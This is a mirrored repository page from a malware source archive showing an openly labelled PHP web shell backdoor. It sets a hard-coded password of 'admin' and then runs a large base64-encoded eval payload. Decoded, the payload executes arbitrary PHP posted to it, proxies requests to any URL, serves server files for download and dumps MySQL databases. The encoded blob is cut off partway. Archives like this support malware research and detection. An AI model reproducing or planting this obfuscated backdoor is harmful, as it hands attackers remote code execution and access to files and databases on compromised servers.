13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-24 07:58:36 +00:00
vxug-MalwareSourceCode/PHP/Backdoor.PHP.WebShell.ab

3 lines
82 KiB
Plaintext
Raw Normal View History

2020-10-10 03:05:41 +00:00
<?php
$admin['pass'] = "admin"; //<2F>޸<EFBFBD><DEB8><EFBFBD><EFBFBD><EFBFBD>
eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDcpOw0Kb2Jfc3RhcnQoKTsNCiRtdGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7DQokc3RhcnR0aW1lID0gJG10aW1lWzFdICsgJG10aW1lWzBdOw0KDQokYWRtaW5bJ2NoZWNrJ10gPSAiMSI7DQoNCiRyZXRpbWUgPSAieWVzIjsNCg0KJGNtZCA9ICJjbWQuZXhlIjsNCg0KJG9ub2ZmID0gKGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKSA/IGluaV9nZXQoJ3JlZ2lzdGVyX2dsb2JhbHMnKSA6IGdldF9jZmdfdmFyKCdyZWdpc3Rlcl9nbG9iYWxzJyk7DQoNCmlmICgkb25vZmYgIT0gMSkgew0KCUBleHRyYWN0KCRfUE9TVCwgRVhUUl9TS0lQKTsNCglAZXh0cmFjdCgkX0dFVCwgRVhUUl9TS0lQKTsNCn0NCg0KJHNlbGYgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXTsNCiRkaXNfZnVuYyA9IGdldF9jZmdfdmFyKCJkaXNhYmxlX2Z1bmN0aW9ucyIpOw0KDQoNCmlmKCRhZG1pblsnY2hlY2snXSA9PSAiMSIpIHsNCglpZiAoJF9HRVRbJ2FjdGlvbiddID09ICJsb2dvdXQiKSB7DQoJCXNldGNvb2tpZSAoImFkbWlucGFzcyIsICIiKTsNCgkJZWNobyAiPG1ldGEgaHR0cC1lcXVpdj1cInJlZnJlc2hcIiBjb250ZW50PVwiMDtVUkw9Ii4kc2VsZi4iXCI+IjsNCgkJZXhpdDsNCgl9DQoNCglpZiAoJF9QT1NUWydkbyddID09ICdsb2dpbicpIHsNCgkJJHRoZXBhc3M9dHJpbSgkX1BPU1RbJ2FkbWlucGFzcyddKTsNCgkJaWYgKCRhZG1pblsncGFzcyddID09ICR0aGVwYXNzKSB7DQoJCQlzZXRjb29raWUgKCJhZG1pbnBhc3MiLCR0aGVwYXNzLHRpbWUoKSsoMSoyNCozNjAwKSk7DQoJCQllY2hvICI8bWV0YSBodHRwLWVxdWl2PVwicmVmcmVzaFwiIGNvbnRlbnQ9XCIwO1VSTD0iLiRzZWxmLiJcIj4iOw0KCQkJZXhpdDsNCgkJfQ0KCX0NCglpZiAoaXNzZXQoJF9DT09LSUVbJ2FkbWlucGFzcyddKSkgew0KCQlpZiAoJF9DT09LSUVbJ2FkbWlucGFzcyddICE9ICRhZG1pblsncGFzcyddKSB7DQoJCQlsb2dpbnBhZ2UoKTsNCgkJfQ0KCX0gZWxzZSB7DQoJCWxvZ2lucGFnZSgpOw0KCX0NCn0NCi8qPT09PT09PT09PT09PT09PT09PT09INHp1qS94cr4ID09PT09PT09PT09PT09PT09PT09PSovDQoNCi8vIMXQts8gbWFnaWNfcXVvdGVzX2dwYyDXtMysDQppZiAoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkgew0KICAgICRfR0VUID0gc3RyaXBzbGFzaGVzX2FycmF5KCRfR0VUKTsNCgkkX1BPU1QgPSBzdHJpcHNsYXNoZXNfYXJyYXkoJF9QT1NUKTsNCn0NCg0KLy8gsum/tFBIUElORk8NCmlmICgkX0dFVFsnYWN0aW9uJ10gPT0gInBocGluZm8iKSB7DQoJZWNobyAkcGhwaW5mbz0oIWVyZWdpKCJwaHBpbmZvIiwkZGlzX2Z1bmMpKSA/IHBocGluZm8oKSA6ICJwaHBpbmZvKCkguq/K/dLRsbu9+9PDLMfrsum/tCZsdDtQSFC7t76zseTBvyZndDsiOw0KCWV4aXQ7DQp9DQppZigkX0dFVFsnYWN0aW9uJ10gPT0gIm5vd3VzZXIiKSB7DQokdXNlciA9IGdldF9jdXJyZW50X3VzZXIoKTsNCmlmKCEkdXNlcikgJHVzZXIgPSAisai45rOkudmjrNb3u/qx5Myso6zO3reou/HIobWxx7C9+NDQ08O7p8P7o6EiOw0KZWNobyK1scewvfizzNPDu6fD+6O6JHVzZXIiOw0KZXhpdDsNCn0NCmlmKGlzc2V0KCRfUE9TVFsncGhwY29kZSddKSl7DQoJZXZhbCgiPyIuIj4kX1BPU1RbcGhwY29kZV08PyIpOw0KCWV4aXQ7DQp9DQovLyDU2s/ftPrA7Q0KaWYgKGlzc2V0KCRfUE9TVFsndXJsJ10pKSB7DQoJJHByb3h5Y29udGVudHMgPSBAZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWyd1cmwnXSk7DQoJZWNobyAoJHByb3h5Y29udGVudHMpID8gJHByb3h5Y29udGVudHMgOiAiPGJvZHkgYmdjb2xvcj1cIiNGNUY1RjVcIiBzdHlsZT1cImZvbnQtc2l6ZTogMTJweDtcIj48Y2VudGVyPjxicj48cD48Yj678cihIFVSTCDE2sjdyqew3DwvYj48L3A+PC9jZW50ZXI+PC9ib2R5PiI7DQoJZXhpdDsNCn0NCg0KLy8gz8LU2M7EvP4NCmlmICghZW1wdHkoJGRvd25maWxlKSkgew0KCWlmICghQGZpbGVfZXhpc3RzKCRkb3duZmlsZSkpIHsNCgkJZWNobyAiPHNjcmlwdD5hbGVydCgnxOPSqs/CtcTOxLz+sru05tTaIScpPC9zY3JpcHQ+IjsNCgl9IGVsc2Ugew0KCQkkZmlsZW5hbWUgPSBiYXNlbmFtZSgkZG93bmZpbGUpOw0KCQkkZmlsZW5hbWVfaW5mbyA9IGV4cGxvZGUoJy4nLCAkZmlsZW5hbWUpOw0KCQkkZmlsZWV4dCA9ICRmaWxlbmFtZV9pbmZvW2NvdW50KCRmaWxlbmFtZV9pbmZvKS0xXTsNCgkJaGVhZGVyKCdDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL3gtJy4kZmlsZWV4dCk7DQoJCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZW5hbWUpOw0KCQloZWFkZXIoJ0NvbnRlbnQtRGVzY3JpcHRpb246IFBIUCBHZW5lcmF0ZWQgRGF0YScpOw0KCQloZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnLmZpbGVzaXplKCRkb3duZmlsZSkpOw0KCQlAcmVhZGZpbGUoJGRvd25maWxlKTsNCgkJZXhpdDsNCgl9DQp9DQoNCi8vINaxvdPPwtTYsbi33cr9vt2/4g0KaWYgKCRfUE9TVFsnYmFja3VwdHlwZSddID09ICdkb3dubG9hZCcpIHsNCglAbXlzcWxfY29ubmVjdCgkc2VydmVybmFtZSwkZGJ1c2VybmFtZSwkZGJwYXNzd29yZCkgb3IgZGllKCLK/b7dv+LBrL3Tyqew3CIpOw0KCUBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSkgb3IgZGllKCLRodTxyv2+3b/iyqew3CIpOwkNCgkkdGFibGUgPSBhcnJheV9mbGlwKCRfUE9TVFsndGFibGUnXSk7DQoJJHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCJTSE9XIHRhYmxlcyIpOw0KCWVjaG8gKCRyZXN1bHQpID8gTlVMTCA6ICKz9rTtOiAiLm15c3FsX2Vycm9yKCk7DQoNCgkkZmlsZW5hbWUgPSBiYXNlbmFtZSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10uIl9NeVNRTC5zcWwiKTsNCgloZWFkZXIoJ0NvbnRlbnQtdHlwZTogYXBwbGljYXRpb24vdW5rbm93bicpOw0KCWhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Jy4kZmlsZW5hbWUpOw0KCSRteXNxbGRhdGEgPSAnJzsNCgl3aGlsZSAoJGN1cnJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7DQoJCWlmICh